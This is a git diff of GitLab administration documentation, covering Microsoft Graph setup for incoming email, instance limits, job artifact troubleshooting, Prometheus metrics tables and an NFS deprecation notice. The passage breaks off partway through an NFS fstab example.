diff --git a/doc/administration/incoming_email.md b/doc/administration/incoming_email.md
index 2eb5da7d9ab..22cd6ca097c 100644
--- a/doc/administration/incoming_email.md
+++ b/doc/administration/incoming_email.md
@@ -220,8 +220,11 @@ Example for source installs:
incoming_email:
enabled: true
- # The email address including the `%{key}` placeholder that will be replaced to reference the item being replied to.
- # The placeholder can be omitted but if present, it must appear in the "user" part of the address (before the `@`).
+ # The email address including the %{key} placeholder that will be replaced to reference the
+ # item being replied to. This %{key} should be included in its entirety within the email
+ # address and not replaced by another value.
+ # For example: emailadress+%{key}@gmail.com.
+ # The placeholder must appear in the "user" part of the address (before the `@`).
address: "incoming+%{key}@gitlab.example.com"
# Email account username
@@ -612,3 +615,59 @@ incoming_email:
# Whether the IMAP server uses SSL
ssl: true
```
+
+#### Microsoft Graph
+
+> Introduced in [GitLab 13.11](https://gitlab.com/gitlab-org/gitlab/-/issues/214900).
+
+GitLab can read incoming email using the Microsoft Graph API instead of
+IMAP. Because [Microsoft is deprecating IMAP usage with Basic Authentication](https://techcommunity.microsoft.com/t5/exchange-team-blog/announcing-oauth-2-0-support-for-imap-and-smtp-auth-protocols-in/ba-p/1330432), the Microsoft Graph API will soon be required for new Microsoft Exchange Online
+mailboxes.
+
+To configure GitLab for Microsoft Graph, you will need to register an
+OAuth2 application in your Azure Active Directory that has the
+`Mail.ReadWrite` permission for all mailboxes. See the [MailRoom step-by-step guide](https://github.com/tpitale/mail_room/#microsoft-graph-configuration)
+and [Microsoft instructions](https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app)
+for more details.
+
+Record the following when you configure your OAuth2 application:
+
+- Tenant ID for your Azure Active Directory
+- Client ID for your OAuth2 application
+- Client secret your OAuth2 application
+
+##### Restrict mailbox access
+
+For MailRoom to work as a service account, the application you create
+in Azure Active Directory requires that you set the `Mail.ReadWrite` property
+to read/write mail in *all* mailboxes.
+
+To mitigate security concerns, we recommend configuring an application access
+policy which limits the mailbox access for all accounts, as described in
+[Microsoft documentation](https://docs.microsoft.com/en-us/graph/auth-limit-mailbox-access).
+
+This example for Omnibus GitLab assumes you're using the following mailbox: `incoming@example.onmicrosoft.com`:
+
+##### Configure Microsoft Graph
+
+```ruby
+gitlab_rails['incoming_email_enabled'] = true
+
+# The email address including the `%{key}` placeholder that will be replaced
+# to reference the item being replied to. The placeholder can be omitted, but if
+# present, it must appear in the "user" part of the address (before the `@`).
+gitlab_rails['incoming_email_address'] = "incoming+%{key}@example.onmicrosoft.com"
+
+# Email account username
+gitlab_rails['incoming_email_email'] = "incoming@example.onmicrosoft.com"
+
+gitlab_rails['incoming_email_inbox_method'] = 'microsoft_graph'
+gitlab_rails['incoming_email_inbox_options'] = {
+ 'tenant_id': '<YOUR-TENANT-ID>',
+ 'client_id': '<YOUR-CLIENT-ID>',
+ 'client_secret': '<YOUR-CLIENT-SECRET>',
+ 'poll_interval': 60 # Optional
+}
+```
+
+The Microsoft Graph API is not yet supported in source installations. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/326169) for more details.
diff --git a/doc/administration/index.md b/doc/administration/index.md
index 15a3bee4004..a7d81ca1543 100644
--- a/doc/administration/index.md
+++ b/doc/administration/index.md
@@ -7,7 +7,12 @@ description: 'Learn how to install, configure, update, and maintain your GitLab
# Administrator documentation **(FREE SELF)**
-Learn how to administer your self-managed GitLab instance.
+If you use GitLab.com, only GitLab team members have access to administration tools and settings.
+If you use a self-managed GitLab instance, learn how to administer it.
+
+Only administrator users can access GitLab administration tools and settings.
+
+## Available distributions
GitLab has two product distributions available through [different subscriptions](https://about.gitlab.com/pricing/):
@@ -15,17 +20,10 @@ GitLab has two product distributions available through [different subscriptions]
- The open core [GitLab Enterprise Edition (EE)](https://gitlab.com/gitlab-org/gitlab).
You can [install either GitLab CE or GitLab EE](https://about.gitlab.com/install/ce-or-ee/).
-However, the features you have access to depend on your chosen [subscription](https://about.gitlab.com/pricing/).
+However, the features you have access to depend on your chosen subscription.
GitLab Community Edition installations have access only to Free features.
-Non-administrator users can't access GitLab administration tools and settings.
-
-GitLab.com is administered by GitLab, Inc., and only GitLab team members have
-access to its administration tools and settings. Users of GitLab.com should
-instead refer to the [User documentation](../user/index.md) for GitLab
-configuration and usage documentation.
-
## Installing and maintaining GitLab
Learn how to install, configure, update, and maintain your GitLab instance.
@@ -70,8 +68,8 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Broadcast Messages](../user/admin_area/broadcast_messages.md): Send messages
to GitLab users through the UI.
- [Elasticsearch](../integration/elasticsearch.md): Enable Elasticsearch to
- empower Advanced Search. Useful when you deal with a huge amount of data.
-- [External Classification Policy Authorization](../user/admin_area/settings/external_authorization.md).
+ empower Advanced Search. Use when you deal with a huge amount of data.
+- [External Classification Policy Authorization](../user/admin_area/settings/external_authorization.md)
- [Upload a license](../user/admin_area/license.md): Upload a license to unlock
features that are in paid tiers of GitLab.
- [Admin Area](../user/admin_area/index.md): for self-managed instance-wide
@@ -109,15 +107,15 @@ Learn how to install, configure, update, and maintain your GitLab instance.
### Upgrading or downgrading GitLab
-- [Upgrade from GitLab CE to GitLab EE](../update/index.md#upgrading-between-editions): learn how to upgrade GitLab Community Edition to GitLab Enterprise Editions.
+- [Upgrade from GitLab CE to GitLab EE](../update/index.md#upgrading-between-editions): Learn how to upgrade GitLab Community Edition to GitLab Enterprise Editions.
- [Downgrade from GitLab EE to GitLab CE](../downgrade_ee_to_ce/index.md): Learn how to downgrade GitLab Enterprise Editions to Community Edition.
### GitLab platform integrations
- [Mattermost](https://docs.gitlab.com/omnibus/gitlab-mattermost/): Integrate with [Mattermost](https://mattermost.com), an open source, private cloud workplace for web messaging.
-- [PlantUML](integration/plantuml.md): Create simple diagrams in AsciiDoc and Markdown documents
+- [PlantUML](integration/plantuml.md): Create diagrams in AsciiDoc and Markdown documents
created in snippets, wikis, and repositories.
-- [Web terminals](integration/terminal.md): Provide terminal access to your applications deployed to Kubernetes from within GitLab CI/CD [environments](../ci/environments/index.md#web-terminals).
+- [Web terminals](integration/terminal.md): Provide terminal access to your applications deployed to Kubernetes from GitLab CI/CD [environments](../ci/environments/index.md#web-terminals).
## User settings and permissions
@@ -126,12 +124,12 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Sign-up restrictions](../user/admin_area/settings/sign_up_restrictions.md): block email addresses of specific domains, or whitelist only specific domains.
- [Access restrictions](../user/admin_area/settings/visibility_and_access_controls.md#enabled-git-access-protocols): Define which Git access protocols can be used to talk to GitLab (SSH, HTTP, HTTPS).
- [Authentication and Authorization](auth/README.md): Configure external authentication with LDAP, SAML, CAS, and additional providers.
- - [Sync LDAP](auth/ldap/index.md).
- - [Kerberos authentication](../integration/kerberos.md).
+ - [Sync LDAP](auth/ldap/index.md)
+ - [Kerberos authentication](../integration/kerberos.md)
- See also other [authentication](../topics/authentication/index.md#gitlab-administrators) topics (for example, enforcing 2FA).
-- [Email users](../tools/email.md): Email GitLab users from within GitLab.
+- [Email users](../tools/email.md): Email GitLab users from GitLab.
- [User Cohorts](../user/admin_area/user_cohorts.md): Display the monthly cohorts of new users and their activities over time.
-- [Audit events](audit_events.md): View the changes made within the GitLab server for:
+- [Audit events](audit_events.md): View the changes made on the GitLab server for:
- Groups and projects.
- Instances.
- [Auditor users](auditor_users.md): Users with read-only access to all projects, groups, and other resources on the GitLab instance.
@@ -160,7 +158,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
### Repository settings
-- [Repository checks](repository_checks.md): Periodic Git repository checks.
+- [Repository checks](repository_checks.md): Check your repository for data corruption.
- [Repository storage paths](repository_storage_paths.md): Manage the paths used to store repositories.
- [Repository storage types](repository_storage_types.md): Information about the different repository storage types.
- [Repository storage Rake tasks](raketasks/storage.md): A collection of Rake tasks to list and migrate existing projects and attachments associated with it from Legacy storage to Hashed storage.
@@ -171,7 +169,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Enable/disable GitLab CI/CD](../ci/enable_or_disable_ci.md#site-wide-admin-setting): Enable or disable GitLab CI/CD for your instance.
- [GitLab CI/CD administration settings](../user/admin_area/settings/continuous_integration.md): Enable or disable Auto DevOps site-wide and define the artifacts' max size and expiration time.
-- [External Pipeline Validation](external_pipeline_validation.md): Enable, disable and configure external pipeline validation.
+- [External Pipeline Validation](external_pipeline_validation.md): Enable, disable, and configure external pipeline validation.
- [Job artifacts](job_artifacts.md): Enable, disable, and configure job artifacts (a set of files and directories which are outputted by a job when it completes successfully).
- [Job logs](job_logs.md): Information about the job logs.
- [Register runners](../ci/runners/README.md#types-of-runners): Learn how to register and configure runners.
@@ -216,7 +214,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
## Troubleshooting
-- [Debugging tips](troubleshooting/debug.md): Tips to debug problems when things go wrong
+- [Debugging tips](troubleshooting/debug.md): Tips to debug problems when things go wrong.
- [Log system](logs.md): Where to look for logs.
- [Sidekiq Troubleshooting](troubleshooting/sidekiq.md): Debug when Sidekiq appears hung and is not processing jobs.
- [Troubleshooting Elasticsearch](troubleshooting/elasticsearch.md)
@@ -225,27 +223,27 @@ Learn how to install, configure, update, and maintain your GitLab instance.
### Support Team Docs
-The GitLab Support Team has collected a lot of information about troubleshooting GitLab
-instances. These documents are normally used by the Support Team itself, or by customers
+The GitLab Support Team has collected a lot of information about troubleshooting GitLab.
+The following documents are used by the Support Team or by customers
with direct guidance from a Support Team member. GitLab administrators may find the
-information useful for troubleshooting, but if you are experiencing trouble with your
+information useful for troubleshooting. However, if you are experiencing trouble with your
GitLab instance, you should check your [support options](https://about.gitlab.com/support/)
before referring to these documents.
WARNING:
-Using the commands listed in the documentation below could result in data loss or
-other damage to a GitLab instance, and should only be used by experienced administrators
+The commands in the following documentation might result in data loss or
+other damage to a GitLab instance. They should be used only by experienced administrators
who are aware of the risks.
-- [Useful diagnostics tools](troubleshooting/diagnostics_tools.md)
-- [Useful Linux commands](troubleshooting/linux_cheat_sheet.md)
+- [Diagnostics tools](troubleshooting/diagnostics_tools.md)
+- [Linux commands](troubleshooting/linux_cheat_sheet.md)
- [Troubleshooting Kubernetes](troubleshooting/kubernetes_cheat_sheet.md)
- [Troubleshooting PostgreSQL](troubleshooting/postgresql.md)
- [Guide to test environments](troubleshooting/test_environments.md) (for Support Engineers)
- [GitLab Rails console commands](troubleshooting/gitlab_rails_cheat_sheet.md) (for Support Engineers)
- [Troubleshooting SSL](troubleshooting/ssl.md)
-- Useful links:
- - [GitLab Developer Docs](../development/README.md)
+- Related links:
+ - [GitLab Developer Documentation](../development/README.md)
- [Repairing and recovering broken Git repositories](https://git.seveas.net/repairing-and-recovering-broken-git-repositories.html)
- [Testing with OpenSSL](https://www.feistyduck.com/library/openssl-cookbook/online/ch-testing-with-openssl.html)
- [`strace` zine](https://wizardzines.com/zines/strace/)
diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md
index ac37ee00210..820006eeadf 100644
--- a/doc/administration/instance_limits.md
+++ b/doc/administration/instance_limits.md
@@ -105,7 +105,7 @@ Limit the maximum daily member invitations allowed per group hierarchy.
## Gitaly concurrency limit
-Clone traffic can put a large strain on your Gitaly service. To prevent such workloads from overwhelming your Gitaly server, you can set concurrency limits in Gitaly’s configuration file.
+Clone traffic can put a large strain on your Gitaly service. To prevent such workloads from overwhelming your Gitaly server, you can set concurrency limits in Gitaly's configuration file.
Read more on [Gitaly concurrency limits](gitaly/configure_gitaly.md#limit-rpc-concurrency).
@@ -145,13 +145,14 @@ limited to 1KiB, and descriptions (the rest of the message) will be limited to
## Number of issues in the milestone overview
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39453) in GitLab 12.10.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39453) in GitLab 12.10.
+> - [Set](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58168) to 500 in GitLab 13.11.
-The maximum number of issues loaded on the milestone overview page is 3000.
+The maximum number of issues loaded on the milestone overview page is 500.
When the number exceeds the limit the page displays an alert and links to a paginated
-[issue list](../user/project/issues/index.md#issues-list) of all issues in the milestone.
+[issue list](../user/project/issues/managing_issues.md) of all issues in the milestone.
-- **Limit:** 3000 issues
+- **Limit:** 500 issues
## Number of pipelines per Git push
@@ -376,7 +377,7 @@ Plan.default.actual_limits.update!(ci_instance_level_variables: 30)
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37226) in GitLab 13.3.
-Job artifacts defined with [`artifacts:reports`](../ci/pipelines/job_artifacts.md#artifactsreports)
+Job artifacts defined with [`artifacts:reports`](../ci/yaml/README.md#artifactsreports)
that are uploaded by the runner are rejected if the file size exceeds the maximum
file size limit. The limit is determined by comparing the project's
[maximum artifact size setting](../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size)
diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md
index 3f8aca2f1ff..bec1fa6ad05 100644
--- a/doc/administration/job_artifacts.md
+++ b/doc/administration/job_artifacts.md
@@ -48,7 +48,7 @@ this is done when the job succeeds, but can also be done on failure, or always,
[`artifacts:when`](../ci/yaml/README.md#artifactswhen) parameter.
Most artifacts are compressed by GitLab Runner before being sent to the coordinator. The exception to this is
-[reports artifacts](../ci/pipelines/job_artifacts.md#artifactsreports), which are compressed after uploading.
+[reports artifacts](../ci/yaml/README.md#artifactsreports), which are compressed after uploading.
### Using local storage
@@ -89,7 +89,7 @@ _The artifacts are stored by default in
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1762) in
> [GitLab Premium](https://about.gitlab.com/pricing/) 9.4.
-> - Since version 9.5, artifacts are [browsable](../ci/pipelines/job_artifacts.md#browsing-artifacts),
+> - Since version 9.5, artifacts are [browsable](../ci/pipelines/job_artifacts.md#download-job-artifacts),
> when object storage is enabled. 9.4 lacks this feature.
> - Since version 10.6, available in [GitLab Free](https://about.gitlab.com/pricing/).
> - Since version 11.0, we support `direct_upload` to S3.
@@ -509,7 +509,7 @@ If you need to manually remove job artifacts associated with multiple jobs while
NOTE:
This step also erases artifacts that users have chosen to
- ["keep"](../ci/pipelines/job_artifacts.md#browsing-artifacts).
+ ["keep"](../ci/pipelines/job_artifacts.md#download-job-artifacts).
```ruby
builds_to_clear = builds_with_artifacts.where("finished_at < ?", 1.week.ago)
@@ -526,6 +526,9 @@ If you need to manually remove job artifacts associated with multiple jobs while
- `3.months.ago`
- `1.year.ago`
+ `erase_erasable_artifacts!` is a synchronous method, and upon execution, the artifacts are removed immediately.
+ They are not scheduled via some background queue.
+
#### Delete job artifacts and logs from jobs completed before a specific date
WARNING:
@@ -580,3 +583,40 @@ If you need to manually remove **all** job artifacts associated with multiple jo
- `7.days.ago`
- `3.months.ago`
- `1.year.ago`
+
+### Error `Downloading artifacts from coordinator... not found`
+
+When a job tries to download artifacts from an earlier job, you might receive an error similar to:
+
+```plaintext
+Downloading artifacts from coordinator... not found id=12345678 responseStatus=404 Not Found
+```
+
+This might be caused by a `gitlab.rb` file with the following configuration:
+
+```ruby
+gitlab_rails['artifacts_object_store_background_upload'] = false
+gitlab_rails['artifacts_object_store_direct_upload'] = true
+```
+
+To prevent this, comment out or remove those lines, or switch to their [default values](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template),
+then run `sudo gitlab-ctl reconfigure`.
+
+### Job artifact upload fails with error 500
+
+If you are using object storage for artifacts and a job artifact fails to upload,
+you can check:
+
+- The job log for an error similar to:
+
+ ```plaintext
+ WARNING: Uploading artifacts as "archive" to coordinator... failed id=12345 responseStatus=500 Internal Server Error status=500 token=abcd1234
+ ```
+
+- The [workhorse log](logs.md#workhorse-logs) for an error similar to:
+
+ ```json
+ {"error":"MissingRegion: could not find region configuration","level":"error","msg":"error uploading S3 session","time":"2021-03-16T22:10:55-04:00"}
+ ```
+
+In both cases, you might need to add `region` to the job artifact [object storage configuration](#connection-settings).
diff --git a/doc/administration/logs.md b/doc/administration/logs.md
index 1950403ce35..289e2cb5362 100644
--- a/doc/administration/logs.md
+++ b/doc/administration/logs.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/maintenance_mode/img/maintenance_mode_error_message.png b/doc/administration/maintenance_mode/img/maintenance_mode_error_message.png
new file mode 100644
index 00000000000..b2044f9717d
--- /dev/null
+++ b/doc/administration/maintenance_mode/img/maintenance_mode_error_message.png
Binary files differ
diff --git a/doc/administration/maintenance_mode/index.md b/doc/administration/maintenance_mode/index.md
index 1cdbda05749..437f59247f6 100644
--- a/doc/administration/maintenance_mode/index.md
+++ b/doc/administration/maintenance_mode/index.md
@@ -67,7 +67,7 @@ The banner can be customized with a specific message.
An error is displayed when a user tries to perform a write operation that isn't allowed.
-![Maintenance Mode banner and error message](maintenance_mode_error_message.png)
+![Maintenance Mode banner and error message](img/maintenance_mode_error_message.png)
NOTE:
In some cases, the visual feedback from an action could be misleading, for example when starring a project, the **Star** button changes to show the **Unstar** action, however, this is only the frontend update, and it doesn't take into account the failed status of the POST request. These visual bugs are to be fixed [in follow-up iterations](https://gitlab.com/gitlab-org/gitlab/-/issues/295197).
diff --git a/doc/administration/maintenance_mode/maintenance_mode_error_message.png b/doc/administration/maintenance_mode/maintenance_mode_error_message.png
deleted file mode 100644
index 4b422a719ca..00000000000
--- a/doc/administration/maintenance_mode/maintenance_mode_error_message.png
+++ /dev/null
Binary files differ
diff --git a/doc/administration/monitoring/github_imports.md b/doc/administration/monitoring/github_imports.md
index 736ff299a86..cd35b8b3f9e 100644
--- a/doc/administration/monitoring/github_imports.md
+++ b/doc/administration/monitoring/github_imports.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
index f389a2d2176..8d3c8555660 100644
--- a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
+++ b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -90,7 +90,7 @@ You can add custom metrics in the self monitoring project by:
## Troubleshooting
-### Getting error message in logs: `Could not create instance administrators group. Errors: ["You don’t have permission to create groups."]`
+### Getting error message in logs: `Could not create instance administrators group. Errors: ["You don't have permission to create groups."]`
There is [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/208676) which causes
project creation to fail with the following error (which appears in the log file)
@@ -98,7 +98,7 @@ when the first administrator user is an
[external user](../../../user/permissions.md#external-users):
```plaintext
-Could not create instance administrators group. Errors: ["You don’t have permission to create groups."]
+Could not create instance administrators group. Errors: ["You don't have permission to create groups."]
```
Run the following in a Rails console to check if the first administrator user is an external user:
diff --git a/doc/administration/monitoring/index.md b/doc/administration/monitoring/index.md
index d2e5f40b171..4c49efd6bd5 100644
--- a/doc/administration/monitoring/index.md
+++ b/doc/administration/monitoring/index.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -25,5 +25,5 @@ Explore our features to monitor your GitLab instance:
- [`nginx_status`](https://docs.gitlab.com/omnibus/settings/nginx.html#enablingdisabling-nginx_status):
Monitor your NGINX server status.
- [Auto Monitoring](../../topics/autodevops/stages.md#auto-monitoring): Automated
- monitoring for your application’s server and response metrics, provided by
+ monitoring for your application's server and response metrics, provided by
[Auto DevOps](../../topics/autodevops/index.md).
diff --git a/doc/administration/monitoring/ip_whitelist.md b/doc/administration/monitoring/ip_whitelist.md
index 91f9c5d560f..522267ce362 100644
--- a/doc/administration/monitoring/ip_whitelist.md
+++ b/doc/administration/monitoring/ip_whitelist.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/monitoring/performance/gitlab_configuration.md b/doc/administration/monitoring/performance/gitlab_configuration.md
index a0f170e93d9..6e7557854ad 100644
--- a/doc/administration/monitoring/performance/gitlab_configuration.md
+++ b/doc/administration/monitoring/performance/gitlab_configuration.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/monitoring/performance/grafana_configuration.md b/doc/administration/monitoring/performance/grafana_configuration.md
index 62d4f3c2625..ac322f3e1ef 100644
--- a/doc/administration/monitoring/performance/grafana_configuration.md
+++ b/doc/administration/monitoring/performance/grafana_configuration.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/monitoring/performance/index.md b/doc/administration/monitoring/performance/index.md
index cdf78811092..15c54a36f6c 100644
--- a/doc/administration/monitoring/performance/index.md
+++ b/doc/administration/monitoring/performance/index.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/monitoring/performance/performance_bar.md b/doc/administration/monitoring/performance/performance_bar.md
index 39e5e4f6c00..f6aa60b36a1 100644
--- a/doc/administration/monitoring/performance/performance_bar.md
+++ b/doc/administration/monitoring/performance/performance_bar.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/monitoring/performance/request_profiling.md b/doc/administration/monitoring/performance/request_profiling.md
index ee035c6ad7a..15a58456e05 100644
--- a/doc/administration/monitoring/performance/request_profiling.md
+++ b/doc/administration/monitoring/performance/request_profiling.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/monitoring/prometheus/gitlab_exporter.md b/doc/administration/monitoring/prometheus/gitlab_exporter.md
index 589fa799cca..4ba4cad9143 100644
--- a/doc/administration/monitoring/prometheus/gitlab_exporter.md
+++ b/doc/administration/monitoring/prometheus/gitlab_exporter.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md
index 3c6c984cbe3..9f87192aab0 100644
--- a/doc/administration/monitoring/prometheus/gitlab_metrics.md
+++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -139,6 +139,18 @@ The following metrics can be controlled by feature flags:
| `gitlab_method_call_duration_seconds` | `prometheus_metrics_method_instrumentation` |
| `gitlab_view_rendering_duration_seconds` | `prometheus_metrics_view_instrumentation` |
+## Praefect metrics
+
+You can [configure Praefect to report metrics](../../gitaly/praefect.md#praefect).
+These are some of the Praefect metrics served from the `/metrics` path on the [configured port](index.md#changing-the-port-and-address-prometheus-listens-on)
+(9652 by default).
+
+| Metric | Type | Since | Description | Labels |
+| :----- | :--- | ----: | :---------- | :----- |
+| `gitaly_praefect_replication_latency_bucket` | Histogram | 12.10 | The amount of time it takes for replication to complete once the replication job starts. | |
+| `gitaly_praefect_replication_delay_bucket` | Histogram | 12.10 | A measure of how much time passes between when the replication job is created and when it starts. | |
+| `gitaly_praefect_node_latency_bucket` | Histogram | 12.10 | The latency in Gitaly returning health check information to Praefect. This indicates Praefect connection saturation. | |
+
## Sidekiq metrics
Sidekiq jobs may also gather metrics, and these metrics can be accessed if the
@@ -238,10 +250,11 @@ configuration option in `gitlab.yml`. These metrics are served from the
The following metrics are available:
-| Metric | Type | Since | Description |
-|:--------------------------------- |:--------- |:------------------------------------------------------------- |:-------------------------------------- |
-| `db_load_balancing_hosts` | Gauge | [12.3](https://gitlab.com/gitlab-org/gitlab/-/issues/13630) | Current number of load balancing hosts |
-
+| Metric | Type | Since | Description | Labels |
+|:--------------------------------- |:--------- |:------------------------------------------------------------- |:-------------------------------------- |:--------------------------------------------------------- |
+| `db_load_balancing_hosts` | Gauge | [12.3](https://gitlab.com/gitlab-org/gitlab/-/issues/13630) | Current number of load balancing hosts | |
+| `sidekiq_load_balancing_count` | Counter | 13.11 | Sidekiq jobs using load balancing with data consistency set to :sticky or :delayed | `queue`, `boundary`, `external_dependencies`, `feature_category`, `job_status`, `urgency`, `data_consistency`, `database_chosen` |
+
## Database partitioning metrics **(PREMIUM SELF)**
The following metrics are available:
diff --git a/doc/administration/monitoring/prometheus/index.md b/doc/administration/monitoring/prometheus/index.md
index 23bffae99cf..035c5b3ee7e 100644
--- a/doc/administration/monitoring/prometheus/index.md
+++ b/doc/administration/monitoring/prometheus/index.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/monitoring/prometheus/node_exporter.md b/doc/administration/monitoring/prometheus/node_exporter.md
index 6efc9d67e8d..68d997d7596 100644
--- a/doc/administration/monitoring/prometheus/node_exporter.md
+++ b/doc/administration/monitoring/prometheus/node_exporter.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/monitoring/prometheus/pgbouncer_exporter.md b/doc/administration/monitoring/prometheus/pgbouncer_exporter.md
index df2aa08efaa..d42c471ac71 100644
--- a/doc/administration/monitoring/prometheus/pgbouncer_exporter.md
+++ b/doc/administration/monitoring/prometheus/pgbouncer_exporter.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/monitoring/prometheus/postgres_exporter.md b/doc/administration/monitoring/prometheus/postgres_exporter.md
index 8b6d3d82018..783030a9220 100644
--- a/doc/administration/monitoring/prometheus/postgres_exporter.md
+++ b/doc/administration/monitoring/prometheus/postgres_exporter.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/monitoring/prometheus/redis_exporter.md b/doc/administration/monitoring/prometheus/redis_exporter.md
index e9d656a6493..6cc262842a1 100644
--- a/doc/administration/monitoring/prometheus/redis_exporter.md
+++ b/doc/administration/monitoring/prometheus/redis_exporter.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/monitoring/prometheus/registry_exporter.md b/doc/administration/monitoring/prometheus/registry_exporter.md
index d2bd86aa908..87b51aaed08 100644
--- a/doc/administration/monitoring/prometheus/registry_exporter.md
+++ b/doc/administration/monitoring/prometheus/registry_exporter.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/administration/nfs.md b/doc/administration/nfs.md
index 59b18f7a74a..52948732766 100644
--- a/doc/administration/nfs.md
+++ b/doc/administration/nfs.md
@@ -14,17 +14,19 @@ Pages](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/196).
For data objects such as LFS, Uploads, Artifacts, etc., an [Object Storage service](object_storage.md)
is recommended over NFS where possible, due to better performance.
-WARNING:
-From GitLab 13.0, using NFS for Git repositories is deprecated.
-From GitLab 14.0, technical support for NFS for Git repositories
-will no longer be provided. Upgrade to [Gitaly Cluster](gitaly/praefect.md)
-as soon as possible.
-
File system performance can impact overall GitLab performance, especially for
actions that read or write to Git repositories. For steps you can use to test
file system performance, see
[File system Performance Benchmarking](operations/filesystem_benchmarking.md).
+## Gitaly and NFS deprecation
+
+WARNING:
+From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
+considered and customer technical support will be considered out of scope.
+[Read more about Gitaly and NFS](gitaly/index.md#nfs-deprecation-notice) and
+[the correct mount options to use](#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
+
## Known kernel version incompatibilities
RedHat Enterprise Linux (RHEL) and CentOS v7.7 and v7.8 ship with kernel
@@ -169,11 +171,11 @@ apt-get install nfs-common
Here is an example snippet to add to `/etc/fstab`:
```plaintext
